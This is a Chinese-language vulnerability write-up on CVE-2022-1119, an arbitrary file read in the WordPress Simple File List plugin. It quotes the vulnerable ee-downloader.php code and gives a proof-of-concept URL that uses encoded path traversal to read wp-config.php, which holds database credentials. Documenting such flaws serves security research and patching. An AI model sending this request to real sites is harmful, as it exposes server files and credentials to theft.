# WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119

## 漏洞描述

WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的任意文件

## 漏洞影响

```
WordPress Simple File List < 3.2.8
```

## 插件名

Simple File List

https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip

## 漏洞复现

存在漏洞的文件为 `wp-content/plugins/simple-file-list/includes/ee-downloader.php`

![image-20220706134725779](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207061347857.png)

```php
<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com

// Force File to Download
// This script is accessed via javascript on ee-download.php 

$eeFile =  filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);

if(is_readable($eeFile)) {

    header('Pragma: public'); // required
    header('Expires: 0'); // no cache
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
    header('Cache-Control: private',false);
    header('Content-Type: ' . mime_content_type($eeFile) );
    header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
    // header('Content-Transfer-Encoding: binary');
    header('Content-Length: '. filesize($eeFile)); // provide file size
    header('Connection: close');
    readfile($eeFile); // Start the download

}
?>
```

直接传参获取文件信息, 验证POC

```
/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
```

![image-20220706134750574](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207061347645.png)